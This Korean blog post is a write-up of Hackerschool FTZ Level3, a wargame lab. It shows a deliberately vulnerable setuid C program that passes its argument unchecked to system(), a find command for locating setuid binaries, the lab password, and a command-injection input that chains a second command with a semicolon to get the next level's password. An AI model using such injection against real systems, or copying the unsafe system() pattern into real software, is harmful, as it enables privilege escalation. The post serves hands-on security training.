본문 바로가기

리버싱/FTZ

해커스쿨 FTZ Level3 (명령어를 인자로 전달)

ID : level3

Password : can you fly?


힌트 : 



[level3@ftz level3]$ cat hint

다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?



문제를  풀기 전에 : 


1. 동시에 여러 명령어를 사용하려면? 


 ;  


세미콜론을 이용하면 된다.


2. 명령어에게 문자열 형태로 인자를 전달하려면?


""


큰따옴표로 감싸면 된다.



풀이 : 


우선 autodlg 파일을 찾는다.


 find / -user level4 -perm -4000 -print -xdev




쉽게 찾을 수 있었다.

autodlg는 백도어 같은 바이너리 파일이다. 2개의 명령어를 동시에 실행하기  위해서 다음과 같은 문구를 입력한다.



/bin/autodig "127.0.0.1;my-pass"


아래 그림과 같은 암호를 얻을 수 있다.



'리버싱 > FTZ' 카테고리의 다른 글

해커스쿨 FTZ Level5 (레이스 컨디션)  (0) 2015.02.16
해커스쿨 FTZ Level4 (backdoor)  (0) 2015.02.16
해커스쿨 FTZ Level2 (vi 취약점)  (0) 2015.02.16
해커스쿨 FTZ Level1 (setuid)  (0) 2015.02.16
해커스쿨 FTZ 환경 구축  (4) 2015.02.14